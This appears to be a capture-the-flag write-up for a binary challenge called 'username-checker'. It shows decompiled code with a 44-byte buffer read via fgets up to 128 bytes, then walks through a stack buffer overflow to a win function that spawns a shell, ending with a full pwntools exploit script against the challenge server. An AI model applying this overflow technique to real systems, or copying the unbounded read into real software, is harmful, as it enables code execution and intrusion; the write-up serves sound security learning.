checksec
pwndbg> checksec
File: /home/mei/checker
Arch: amd64
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
as we can tell, this binary has no protection (except of NX bit set).
disassembly
looking at the main function, we have

so it just prints out the text ~-~ username-checker ~-~ and call ~-~ username-checker ~-~
check_username()

let’s have a look at the pseudo c code:
__int64 check_username()
{
size_t v1; // rbx
char s[44]; // [rsp+0h] [rbp-40h] BYREF
int i; // [rsp+2Ch] [rbp-14h]
printf("please enter a username you want to check: ");
fgets(s, 128, stdin);
s[strcspn(s, "\n")] = 0;
if ( strlen(s) <= 0xF )
{
for ( i = 0; ; ++i )
{
v1 = i;
if ( v1 >= strlen(s) )
break;
if ( ((*__ctype_b_loc())[s[i]] & 8) == 0 && s[i] != 95 && s[i] != 91 && s[i] != 93 && s[i] != 45 && s[i] != 32 )
{
puts("username contains invalid characters");
return 1;
}
}
if ( !strcmp(s, "super_secret_username") )
win();
else
puts("username is valid!");
return 0;
}
else
{
puts("username is too long");
return 1;
}
}
ah hah, so it’s classsic buffer overflow, why though?
we have string s with size of 44, but it’s reading up to 128 from fgets. let’s check the win function

it’s printing out how did you get here? and call return system(/bin/sh)
exploitation
load the binary into pwndbg pwndbg ./checker

the binary isn’t stripped, we can see everything
let’s generate cyclic chars really quick, take the input and send it to the program

perfect, it crashed, we’ll see the backtrace really quick

find the offset

great, let’s keep going :)
find return address
we need to find the return address to align with the stack

we’ll use 0x000000000040101a
exploitation
from the info above, we can come up with exploitation like so:
offset = 72
ret = 0x000000000040101a
win = 0x0000000000401236
final exp script:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template
from pwn import *
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
gdbscript = '''
continue
'''.format(**locals())
io = remote('username-checker.challs.sekai.team', 1337)
win = 0x401236
ret = 0x000000000040101a
payload = b'A'* 72 + p64(ret) + p64(win)
io.sendafter(b'check: ', payload)
io.interactive()
gg:
